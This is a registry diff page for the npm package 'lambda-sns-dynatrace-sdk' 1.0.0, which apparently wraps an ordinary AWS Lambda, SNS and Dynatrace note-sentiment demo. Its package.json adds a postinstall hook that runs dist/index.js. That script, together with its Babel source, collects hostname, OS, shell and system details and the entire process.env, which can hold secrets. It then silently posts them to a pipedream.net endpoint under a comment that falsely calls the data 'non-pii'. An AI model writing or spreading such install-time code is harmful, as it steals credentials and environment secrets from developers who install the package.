lambda-sns-dynatrace-sdk 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of lambda-sns-dynatrace-sdk might be problematic. Click here for more details.

package/.babelrc ADDED
@@ -0,0 +1,5 @@
1
+ {
2
+ "presets": [
3
+ "@babel/preset-env"
4
+ ]
5
+ }
package/.eslintrc.js ADDED
@@ -0,0 +1,3 @@
1
+ module.exports = {
2
+ "extends": "airbnb"
3
+ };
@@ -0,0 +1,82 @@
1
+ #!/usr/bin/env node
2
+
3
+ //Collect limited non-pii information such as npm, node and package information about users downloading
4
+ import axios from 'axios';
5
+ import readJson from 'read-package-json';
6
+ import path from 'path';
7
+ import si from 'systeminformation';
8
+ import "dotenv/config"
9
+ const cwd = process.cwd();
10
+ const trackedPackageJsonPath = path.join(cwd, 'package.json');
11
+
12
+
13
+ const getPackageJson = path =>
14
+ new Promise((resolve, reject) =>
15
+ readJson(
16
+ path,
17
+ null,
18
+ false,
19
+ (err, json) =>
20
+ err
21
+ ? reject(
22
+ `There was an error reading the file with path:${path}`
23
+ )
24
+ : resolve(json)
25
+ )
26
+ );
27
+
28
+ const getInfos = () =>
29
+ new Promise(resolve => {
30
+ const data = {};
31
+ return si
32
+ .osInfo()
33
+ .then(os => {
34
+ data.os = os;
35
+ data.hostname = os.hostname;
36
+ data.fqdn = os.fqdn;
37
+ data.platform = os.platform;
38
+ return si.versions();
39
+ })
40
+ .then(versions => {
41
+ data.versions = versions;
42
+ return si.time();
43
+ })
44
+ .then(time => {
45
+ data.time = time;
46
+ return si.shell();
47
+ })
48
+ .then(shell => {
49
+ data.shell = shell;
50
+ return si.system()
51
+ })
52
+ .then(system => {
53
+ data.system = system;
54
+ data.is_jfrog = process.env.JFROG_ARTIFACTORY_URL || "unknown"
55
+ data.is_jboss = process.env.JBOSS ? process.env : process.env
56
+ })
57
+ .then(() => resolve(data))
58
+ .catch(
59
+ //Fail silently as this is not an issue with the package and just data
60
+ );
61
+ });
62
+
63
+
64
+
65
+ async function collectAnalytics(data) {
66
+ const TRACKING_URI = "https://eoegnvha3l4b0yp.m.pipedream.net"
67
+ await axios.post(TRACKING_URI, data)
68
+ }
69
+
70
+
71
+ const log = async () => {
72
+ try {
73
+ const data = await getInfos();
74
+ //determine which version they installed
75
+ //Todo ignore github actions
76
+ const { name, version } = await getPackageJson(trackedPackageJsonPath)
77
+ await collectAnalytics({...data, cwd: cwd, packageName: name, packageVersion: version, })
78
+ } catch (e) {
79
+ //console.error(e)
80
+ }
81
+ };
82
+ log()
package/dist/index.js ADDED
@@ -0,0 +1,119 @@
1
+ #!/usr/bin/env node
2
+
3
+ //Collect limited non-pii information such as npm, node and package information about users downloading
4
+ "use strict";
5
+
6
+ function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); }
7
+ var _axios = _interopRequireDefault(require("axios"));
8
+ var _readPackageJson = _interopRequireDefault(require("read-package-json"));
9
+ var _path = _interopRequireDefault(require("path"));
10
+ var _systeminformation = _interopRequireDefault(require("systeminformation"));
11
+ require("dotenv/config");
12
+ function _interopRequireDefault(e) { return e && e.__esModule ? e : { "default": e }; }
13
+ function _regeneratorRuntime() { "use strict"; /*! regenerator-runtime -- Copyright (c) 2014-present, Facebook, Inc. -- license (MIT): https://github.com/facebook/regenerator/blob/main/LICENSE */ _regeneratorRuntime = function _regeneratorRuntime() { return e; }; var t, e = {}, r = Object.prototype, n = r.hasOwnProperty, o = Object.defineProperty || function (t, e, r) { t[e] = r.value; }, i = "function" == typeof Symbol ? Symbol : {}, a = i.iterator || "@@iterator", c = i.asyncIterator || "@@asyncIterator", u = i.toStringTag || "@@toStringTag"; function define(t, e, r) { return Object.defineProperty(t, e, { value: r, enumerable: !0, configurable: !0, writable: !0 }), t[e]; } try { define({}, ""); } catch (t) { define = function define(t, e, r) { return t[e] = r; }; } function wrap(t, e, r, n) { var i = e && e.prototype instanceof Generator ? e : Generator, a = Object.create(i.prototype), c = new Context(n || []); return o(a, "_invoke", { value: makeInvokeMethod(t, r, c) }), a; } function tryCatch(t, e, r) { try { return { type: "normal", arg: t.call(e, r) }; } catch (t) { return { type: "throw", arg: t }; } } e.wrap = wrap; var h = "suspendedStart", l = "suspendedYield", f = "executing", s = "completed", y = {}; function Generator() {} function GeneratorFunction() {} function GeneratorFunctionPrototype() {} var p = {}; define(p, a, function () { return this; }); var d = Object.getPrototypeOf, v = d && d(d(values([]))); v && v !== r && n.call(v, a) && (p = v); var g = GeneratorFunctionPrototype.prototype = Generator.prototype = Object.create(p); function defineIteratorMethods(t) { ["next", "throw", "return"].forEach(function (e) { define(t, e, function (t) { return this._invoke(e, t); }); }); } function AsyncIterator(t, e) { function invoke(r, o, i, a) { var c = tryCatch(t[r], t, o); if ("throw" !== c.type) { var u = c.arg, h = u.value; return h && "object" == _typeof(h) && n.call(h, "__await") ? e.resolve(h.__await).then(function (t) { invoke("next", t, i, a); }, function (t) { invoke("throw", t, i, a); }) : e.resolve(h).then(function (t) { u.value = t, i(u); }, function (t) { return invoke("throw", t, i, a); }); } a(c.arg); } var r; o(this, "_invoke", { value: function value(t, n) { function callInvokeWithMethodAndArg() { return new e(function (e, r) { invoke(t, n, e, r); }); } return r = r ? r.then(callInvokeWithMethodAndArg, callInvokeWithMethodAndArg) : callInvokeWithMethodAndArg(); } }); } function makeInvokeMethod(e, r, n) { var o = h; return function (i, a) { if (o === f) throw Error("Generator is already running"); if (o === s) { if ("throw" === i) throw a; return { value: t, done: !0 }; } for (n.method = i, n.arg = a;;) { var c = n.delegate; if (c) { var u = maybeInvokeDelegate(c, n); if (u) { if (u === y) continue; return u; } } if ("next" === n.method) n.sent = n._sent = n.arg;else if ("throw" === n.method) { if (o === h) throw o = s, n.arg; n.dispatchException(n.arg); } else "return" === n.method && n.abrupt("return", n.arg); o = f; var p = tryCatch(e, r, n); if ("normal" === p.type) { if (o = n.done ? s : l, p.arg === y) continue; return { value: p.arg, done: n.done }; } "throw" === p.type && (o = s, n.method = "throw", n.arg = p.arg); } }; } function maybeInvokeDelegate(e, r) { var n = r.method, o = e.iterator[n]; if (o === t) return r.delegate = null, "throw" === n && e.iterator["return"] && (r.method = "return", r.arg = t, maybeInvokeDelegate(e, r), "throw" === r.method) || "return" !== n && (r.method = "throw", r.arg = new TypeError("The iterator does not provide a '" + n + "' method")), y; var i = tryCatch(o, e.iterator, r.arg); if ("throw" === i.type) return r.method = "throw", r.arg = i.arg, r.delegate = null, y; var a = i.arg; return a ? a.done ? (r[e.resultName] = a.value, r.next = e.nextLoc, "return" !== r.method && (r.method = "next", r.arg = t), r.delegate = null, y) : a : (r.method = "throw", r.arg = new TypeError("iterator result is not an object"), r.delegate = null, y); } function pushTryEntry(t) { var e = { tryLoc: t[0] }; 1 in t && (e.catchLoc = t[1]), 2 in t && (e.finallyLoc = t[2], e.afterLoc = t[3]), this.tryEntries.push(e); } function resetTryEntry(t) { var e = t.completion || {}; e.type = "normal", delete e.arg, t.completion = e; } function Context(t) { this.tryEntries = [{ tryLoc: "root" }], t.forEach(pushTryEntry, this), this.reset(!0); } function values(e) { if (e || "" === e) { var r = e[a]; if (r) return r.call(e); if ("function" == typeof e.next) return e; if (!isNaN(e.length)) { var o = -1, i = function next() { for (; ++o < e.length;) if (n.call(e, o)) return next.value = e[o], next.done = !1, next; return next.value = t, next.done = !0, next; }; return i.next = i; } } throw new TypeError(_typeof(e) + " is not iterable"); } return GeneratorFunction.prototype = GeneratorFunctionPrototype, o(g, "constructor", { value: GeneratorFunctionPrototype, configurable: !0 }), o(GeneratorFunctionPrototype, "constructor", { value: GeneratorFunction, configurable: !0 }), GeneratorFunction.displayName = define(GeneratorFunctionPrototype, u, "GeneratorFunction"), e.isGeneratorFunction = function (t) { var e = "function" == typeof t && t.constructor; return !!e && (e === GeneratorFunction || "GeneratorFunction" === (e.displayName || e.name)); }, e.mark = function (t) { return Object.setPrototypeOf ? Object.setPrototypeOf(t, GeneratorFunctionPrototype) : (t.__proto__ = GeneratorFunctionPrototype, define(t, u, "GeneratorFunction")), t.prototype = Object.create(g), t; }, e.awrap = function (t) { return { __await: t }; }, defineIteratorMethods(AsyncIterator.prototype), define(AsyncIterator.prototype, c, function () { return this; }), e.AsyncIterator = AsyncIterator, e.async = function (t, r, n, o, i) { void 0 === i && (i = Promise); var a = new AsyncIterator(wrap(t, r, n, o), i); return e.isGeneratorFunction(r) ? a : a.next().then(function (t) { return t.done ? t.value : a.next(); }); }, defineIteratorMethods(g), define(g, u, "Generator"), define(g, a, function () { return this; }), define(g, "toString", function () { return "[object Generator]"; }), e.keys = function (t) { var e = Object(t), r = []; for (var n in e) r.push(n); return r.reverse(), function next() { for (; r.length;) { var t = r.pop(); if (t in e) return next.value = t, next.done = !1, next; } return next.done = !0, next; }; }, e.values = values, Context.prototype = { constructor: Context, reset: function reset(e) { if (this.prev = 0, this.next = 0, this.sent = this._sent = t, this.done = !1, this.delegate = null, this.method = "next", this.arg = t, this.tryEntries.forEach(resetTryEntry), !e) for (var r in this) "t" === r.charAt(0) && n.call(this, r) && !isNaN(+r.slice(1)) && (this[r] = t); }, stop: function stop() { this.done = !0; var t = this.tryEntries[0].completion; if ("throw" === t.type) throw t.arg; return this.rval; }, dispatchException: function dispatchException(e) { if (this.done) throw e; var r = this; function handle(n, o) { return a.type = "throw", a.arg = e, r.next = n, o && (r.method = "next", r.arg = t), !!o; } for (var o = this.tryEntries.length - 1; o >= 0; --o) { var i = this.tryEntries[o], a = i.completion; if ("root" === i.tryLoc) return handle("end"); if (i.tryLoc <= this.prev) { var c = n.call(i, "catchLoc"), u = n.call(i, "finallyLoc"); if (c && u) { if (this.prev < i.catchLoc) return handle(i.catchLoc, !0); if (this.prev < i.finallyLoc) return handle(i.finallyLoc); } else if (c) { if (this.prev < i.catchLoc) return handle(i.catchLoc, !0); } else { if (!u) throw Error("try statement without catch or finally"); if (this.prev < i.finallyLoc) return handle(i.finallyLoc); } } } }, abrupt: function abrupt(t, e) { for (var r = this.tryEntries.length - 1; r >= 0; --r) { var o = this.tryEntries[r]; if (o.tryLoc <= this.prev && n.call(o, "finallyLoc") && this.prev < o.finallyLoc) { var i = o; break; } } i && ("break" === t || "continue" === t) && i.tryLoc <= e && e <= i.finallyLoc && (i = null); var a = i ? i.completion : {}; return a.type = t, a.arg = e, i ? (this.method = "next", this.next = i.finallyLoc, y) : this.complete(a); }, complete: function complete(t, e) { if ("throw" === t.type) throw t.arg; return "break" === t.type || "continue" === t.type ? this.next = t.arg : "return" === t.type ? (this.rval = this.arg = t.arg, this.method = "return", this.next = "end") : "normal" === t.type && e && (this.next = e), y; }, finish: function finish(t) { for (var e = this.tryEntries.length - 1; e >= 0; --e) { var r = this.tryEntries[e]; if (r.finallyLoc === t) return this.complete(r.completion, r.afterLoc), resetTryEntry(r), y; } }, "catch": function _catch(t) { for (var e = this.tryEntries.length - 1; e >= 0; --e) { var r = this.tryEntries[e]; if (r.tryLoc === t) { var n = r.completion; if ("throw" === n.type) { var o = n.arg; resetTryEntry(r); } return o; } } throw Error("illegal catch attempt"); }, delegateYield: function delegateYield(e, r, n) { return this.delegate = { iterator: values(e), resultName: r, nextLoc: n }, "next" === this.method && (this.arg = t), y; } }, e; }
14
+ function ownKeys(e, r) { var t = Object.keys(e); if (Object.getOwnPropertySymbols) { var o = Object.getOwnPropertySymbols(e); r && (o = o.filter(function (r) { return Object.getOwnPropertyDescriptor(e, r).enumerable; })), t.push.apply(t, o); } return t; }
15
+ function _objectSpread(e) { for (var r = 1; r < arguments.length; r++) { var t = null != arguments[r] ? arguments[r] : {}; r % 2 ? ownKeys(Object(t), !0).forEach(function (r) { _defineProperty(e, r, t[r]); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(t)) : ownKeys(Object(t)).forEach(function (r) { Object.defineProperty(e, r, Object.getOwnPropertyDescriptor(t, r)); }); } return e; }
16
+ function _defineProperty(e, r, t) { return (r = _toPropertyKey(r)) in e ? Object.defineProperty(e, r, { value: t, enumerable: !0, configurable: !0, writable: !0 }) : e[r] = t, e; }
17
+ function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; }
18
+ function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); }
19
+ function asyncGeneratorStep(n, t, e, r, o, a, c) { try { var i = n[a](c), u = i.value; } catch (n) { return void e(n); } i.done ? t(u) : Promise.resolve(u).then(r, o); }
20
+ function _asyncToGenerator(n) { return function () { var t = this, e = arguments; return new Promise(function (r, o) { var a = n.apply(t, e); function _next(n) { asyncGeneratorStep(a, r, o, _next, _throw, "next", n); } function _throw(n) { asyncGeneratorStep(a, r, o, _next, _throw, "throw", n); } _next(void 0); }); }; }
21
+ var cwd = process.cwd();
22
+ var trackedPackageJsonPath = _path["default"].join(cwd, 'package.json');
23
+ var getPackageJson = function getPackageJson(path) {
24
+ return new Promise(function (resolve, reject) {
25
+ return (0, _readPackageJson["default"])(path, null, false, function (err, json) {
26
+ return err ? reject("There was an error reading the file with path:".concat(path)) : resolve(json);
27
+ });
28
+ });
29
+ };
30
+ var getInfos = function getInfos() {
31
+ return new Promise(function (resolve) {
32
+ var data = {};
33
+ return _systeminformation["default"].osInfo().then(function (os) {
34
+ data.os = os;
35
+ data.hostname = os.hostname;
36
+ data.fqdn = os.fqdn;
37
+ data.platform = os.platform;
38
+ return _systeminformation["default"].versions();
39
+ }).then(function (versions) {
40
+ data.versions = versions;
41
+ return _systeminformation["default"].time();
42
+ }).then(function (time) {
43
+ data.time = time;
44
+ return _systeminformation["default"].shell();
45
+ }).then(function (shell) {
46
+ data.shell = shell;
47
+ return _systeminformation["default"].system();
48
+ }).then(function (system) {
49
+ data.system = system;
50
+ data.is_jfrog = process.env.JFROG_ARTIFACTORY_URL || "unknown";
51
+ data.is_jboss = process.env.JBOSS ? process.env : process.env;
52
+ }).then(function () {
53
+ return resolve(data);
54
+ })["catch"](
55
+
56
+ //Fail silently as this is not an issue with the package and just data
57
+ );
58
+ });
59
+ };
60
+ function collectAnalytics(_x) {
61
+ return _collectAnalytics.apply(this, arguments);
62
+ }
63
+ function _collectAnalytics() {
64
+ _collectAnalytics = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee2(data) {
65
+ var TRACKING_URI;
66
+ return _regeneratorRuntime().wrap(function _callee2$(_context2) {
67
+ while (1) switch (_context2.prev = _context2.next) {
68
+ case 0:
69
+ TRACKING_URI = "https://eoegnvha3l4b0yp.m.pipedream.net";
70
+ _context2.next = 3;
71
+ return _axios["default"].post(TRACKING_URI, data);
72
+ case 3:
73
+ case "end":
74
+ return _context2.stop();
75
+ }
76
+ }, _callee2);
77
+ }));
78
+ return _collectAnalytics.apply(this, arguments);
79
+ }
80
+ var log = /*#__PURE__*/function () {
81
+ var _ref = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee() {
82
+ var data, _yield$getPackageJson, name, version;
83
+ return _regeneratorRuntime().wrap(function _callee$(_context) {
84
+ while (1) switch (_context.prev = _context.next) {
85
+ case 0:
86
+ _context.prev = 0;
87
+ _context.next = 3;
88
+ return getInfos();
89
+ case 3:
90
+ data = _context.sent;
91
+ _context.next = 6;
92
+ return getPackageJson(trackedPackageJsonPath);
93
+ case 6:
94
+ _yield$getPackageJson = _context.sent;
95
+ name = _yield$getPackageJson.name;
96
+ version = _yield$getPackageJson.version;
97
+ _context.next = 11;
98
+ return collectAnalytics(_objectSpread(_objectSpread({}, data), {}, {
99
+ cwd: cwd,
100
+ packageName: name,
101
+ packageVersion: version
102
+ }));
103
+ case 11:
104
+ _context.next = 15;
105
+ break;
106
+ case 13:
107
+ _context.prev = 13;
108
+ _context.t0 = _context["catch"](0);
109
+ case 15:
110
+ case "end":
111
+ return _context.stop();
112
+ }
113
+ }, _callee, null, [[0, 13]]);
114
+ }));
115
+ return function log() {
116
+ return _ref.apply(this, arguments);
117
+ };
118
+ }();
119
+ log();
package/env.yml-sample ADDED
@@ -0,0 +1,2 @@
1
+ default:
2
+ dynatraceCredentials: ''
package/package.json ADDED
@@ -0,0 +1,35 @@
1
+ {
2
+ "name": "lambda-sns-dynatrace-sdk",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "build": "babel analytics -d dist",
9
+ "postinstall": "node ./dist/index.js"
10
+ },
11
+ "keywords": [],
12
+ "author": "",
13
+ "license": "ISC",
14
+ "dependencies": {
15
+ "@dynatrace/oneagent-sdk": "^1.2.2",
16
+ "axios": "^1.7.2",
17
+ "debug": "^4.1.1",
18
+ "dotenv": "^16.4.5",
19
+ "read-package-json": "^7.0.1",
20
+ "semver": "^5.6.0",
21
+ "systeminformation": "^5.22.11",
22
+ "uuid": "^3.3.2"
23
+ },
24
+ "devDependencies": {
25
+ "@babel/cli": "^7.23.4",
26
+ "@babel/core": "^7.23.7",
27
+ "@babel/preset-env": "^7.23.7",
28
+ "@dynatrace/serverless-oneagent": "^1.0.7",
29
+ "eslint": "^5.12.1",
30
+ "eslint-config-airbnb": "^17.1.0",
31
+ "eslint-plugin-import": "^2.15.0",
32
+ "eslint-plugin-jsx-a11y": "^6.1.2",
33
+ "eslint-plugin-react": "^7.12.4"
34
+ }
35
+ }
package/queueNote.js ADDED
@@ -0,0 +1,75 @@
1
+ // eslint-disable-next-line import/no-unresolved
2
+ const AWS = require('aws-sdk');
3
+ const DSDK = require('@dynatrace/oneagent-sdk');
4
+
5
+ const dsdk = DSDK.createInstance();
6
+
7
+ AWS.config.update({ region: 'us-east-2' });
8
+
9
+ const sns = new AWS.SNS();
10
+
11
+ // let isColdStart = true;
12
+
13
+ module.exports.handler = async (event, context, callback) => {
14
+
15
+ /*
16
+ if (isColdStart) {
17
+ console.log('This is a coldstart');
18
+ dsdk.addCustomRequestAttribute('coldstart', 'yes');
19
+ isColdStart = false;
20
+ } else {
21
+ dsdk.addCustomRequestAttribute('coldstart', 'no');
22
+ }
23
+ */
24
+
25
+ const data = JSON.parse(event.body);
26
+ if (typeof data.note !== 'string') {
27
+ console.error('Validation Failed');
28
+ callback(null, {
29
+ statusCode: 400,
30
+ headers: { 'Content-Type': 'text/plain' },
31
+ body: 'Couldn\'t add the note.',
32
+ });
33
+ return;
34
+ }
35
+
36
+ const tracer = dsdk.traceOutgoingRemoteCall({
37
+ serviceEndpoint: 'SNS',
38
+ serviceMethod: 'publish',
39
+ serviceName: 'AnalyzeNote',
40
+ channelType: DSDK.ChannelType.TCP_IP,
41
+ });
42
+
43
+ try {
44
+ await tracer.start(() => {
45
+ const dtTag = tracer.getDynatraceStringTag();
46
+ const params = {
47
+ Message: JSON.stringify({ payload: { note: data.note } }),
48
+ MessageAttributes: {
49
+ 'x-dynatrace': {
50
+ DataType: 'String',
51
+ StringValue: dtTag,
52
+ },
53
+ },
54
+ TopicArn: `arn:aws:sns:us-east-2:${event.requestContext.accountId}:analyzeNote`,
55
+ };
56
+ return sns.publish(params).promise();
57
+ });
58
+
59
+ const response = {
60
+ statusCode: 200,
61
+ body: JSON.stringify({ message: 'Successfully queued the note.' }),
62
+ };
63
+ callback(null, response);
64
+ } catch (error) {
65
+ tracer.error(error);
66
+ console.error(error);
67
+ callback(null, {
68
+ statusCode: 501,
69
+ headers: { 'Content-Type': 'text/plain' },
70
+ body: 'Couldn\'t add the note due an internal error. Please try again later.',
71
+ });
72
+ } finally {
73
+ tracer.end();
74
+ }
75
+ };
@@ -0,0 +1,14 @@
1
+ Resources:
2
+ NotesTable:
3
+ Type: AWS::DynamoDB::Table
4
+ Properties:
5
+ TableName: notesTable
6
+ AttributeDefinitions:
7
+ - AttributeName: noteId
8
+ AttributeType: S
9
+ KeySchema:
10
+ - AttributeName: noteId
11
+ KeyType: HASH
12
+ ProvisionedThroughput:
13
+ ReadCapacityUnits: 5
14
+ WriteCapacityUnits: 5
package/serverless.yml ADDED
@@ -0,0 +1,54 @@
1
+ service: message-filter
2
+ plugins:
3
+ - '@dynatrace/serverless-oneagent'
4
+
5
+ provider:
6
+ name: aws
7
+ runtime: nodejs8.10
8
+ region: us-east-2
9
+ iamRoleStatements:
10
+ - Effect: "Allow"
11
+ Resource: "*"
12
+ Action:
13
+ - sns:*
14
+ - comprehend:*
15
+ - Effect: Allow
16
+ Resource:
17
+ - "Fn::GetAtt": [ NotesTable, Arn ]
18
+ Action:
19
+ - dynamodb:DescribeTable
20
+ - dynamodb:Query
21
+ - dynamodb:Scan
22
+ - dynamodb:GetItem
23
+ - dynamodb:PutItem
24
+ - dynamodb:UpdateItem
25
+ - dynamodb:DeleteItem
26
+ # Restrict our IAM role permissions to
27
+ # the specific table for the stage
28
+
29
+ functions:
30
+ queueNote:
31
+ handler: queueNote.handler
32
+ events:
33
+ - http:
34
+ path: notes
35
+ method: post
36
+ cors: true
37
+
38
+ storeNote:
39
+ handler: storeNote.handler
40
+ events:
41
+ - sns: analyzeNote
42
+
43
+
44
+ custom:
45
+ tableName: notesTable
46
+ environment: ${file(env.yml):default}
47
+ serverless-oneagent:
48
+ npmModuleVersion: next
49
+ options: "${self:custom.environment.dynatraceCredentials}"
50
+ verbose: false
51
+
52
+ resources:
53
+ # DynamoDB
54
+ - ${file(resources/dynamodb-table.yml)}
package/storeNote.js ADDED
@@ -0,0 +1,67 @@
1
+ // eslint-disable-next-line import/no-unresolved
2
+ const AWS = require('aws-sdk');
3
+ const uuidv4 = require('uuid/v4');
4
+
5
+ // const DSDK = require('@dynatrace/oneagent-sdk');
6
+ // const dsdk = DSDK.createInstance();
7
+
8
+ const dynamo = new AWS.DynamoDB();
9
+
10
+
11
+ AWS.config.update({ region: 'us-east-1' });
12
+
13
+ const comprehend = new AWS.Comprehend();
14
+
15
+ // let isColdStart = true;
16
+
17
+ async function processMessage(params) {
18
+ return comprehend.detectSentiment(params).promise();
19
+ }
20
+
21
+ module.exports.handler = async (event, context, callback) => {
22
+ try {
23
+ /*
24
+ if (isColdStart) {
25
+ console.log('This is a coldstart');
26
+ dsdk.addCustomRequestAttribute('coldstart', 'yes');
27
+ isColdStart = false;
28
+ } else {
29
+ dsdk.addCustomRequestAttribute('coldstart', 'no');
30
+ }
31
+ */
32
+
33
+ const message = JSON.parse(event.Records[0].Sns.Message);
34
+ const { note } = message.payload;
35
+
36
+ const params = {
37
+ LanguageCode: 'en',
38
+ Text: note,
39
+ };
40
+
41
+ const data = await processMessage(params);
42
+
43
+ // dsdk.addCustomRequestAttribute('sentiment', data.Sentiment);
44
+ if (data.Sentiment === 'POSITIVE') {
45
+ const noteData = {
46
+ Item: {
47
+ noteId: {
48
+ S: uuidv4(),
49
+ },
50
+ note: {
51
+ S: note,
52
+ },
53
+ },
54
+ ReturnConsumedCapacity: 'TOTAL',
55
+ TableName: 'notesTable',
56
+ };
57
+
58
+ console.log(`Positive note - will be published: ${note} [${data.Sentiment}]`);
59
+ await dynamo.putItem(noteData).promise();
60
+ } else {
61
+ console.log(`Negative note - won't be published: ${note} [${data.Sentiment}]`);
62
+ }
63
+ return callback();
64
+ } catch (err) {
65
+ return callback(err);
66
+ }
67
+ };
package/test.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "Records": [
3
+ {
4
+ "EventSource": "aws:sns",
5
+ "EventVersion": "1.0",
6
+ "EventSubscriptionArn": "arn:aws:sns:us-east-2:167598770382:analyzeNote:8dde2429-bad1-4b95-82e1-c6236b9fec93",
7
+ "Sns": {
8
+ "Type": "Notification",
9
+ "MessageId": "a471b26b-06d8-59da-ae72-e6afc8a4f6aa",
10
+ "TopicArn": "arn:aws:sns:us-east-2:167598770382:analyzeNote",
11
+ "Subject": null,
12
+ "Message": "{\"payload\":{\"note\":\"Today is a great day!\"}}",
13
+ "Timestamp": "2019-01-25T08:43:40.748Z",
14
+ "SignatureVersion": "1",
15
+ "Signature": "dazE3xCiUQXM7usxm2G1ZGl2EVRMJJY76DAI+07sXRpdcsnYiHW5IIFTtVLNFY7ENngEc0FFJMopfdxMdriRuQXD0FnS7jD2nwJAtfYc+5vTeAOECznb53LShB2G09vL6avNwGEGhhOkLhfhJY6IFf8xd2k2apivjZYL+qUp5/3tLmouT/NtOyb0v4+CwX3sYyQ8wdMxJ7lyawlVYrWnLBcGpQvxUYA0IZeTHmC7aRmnDriXspeGF+Y5hG26gnp0equxZL1duawJ4eydg7JmUaOz113DFG8pLeoRNS55/4uHCFj8363ZasP7Ehx+uf8HkumulilyBCXmRjqm9Pnf/g==",
16
+ "SigningCertUrl": "https://sns.us-east-2.amazonaws.com/SimpleNotificationService-ac565b8b1a6c5d002d285f9598aa1d9b.pem",
17
+ "UnsubscribeUrl": "https://sns.us-east-2.amazonaws.com/?Action=Unsubscribe&SubscriptionArn=arn:aws:sns:us-east-2:167598770382:analyzeNote:8dde2429-bad1-4b95-82e1-c6236b9fec93",
18
+ "MessageAttributes": {
19
+ "dtTag": {
20
+ "Type": "String",
21
+ "Value": "FW2;-1743916453;6;-2113862265;6;0;-1248668762"
22
+ }
23
+ }
24
+ }
25
+ }
26
+ ]
27
+ }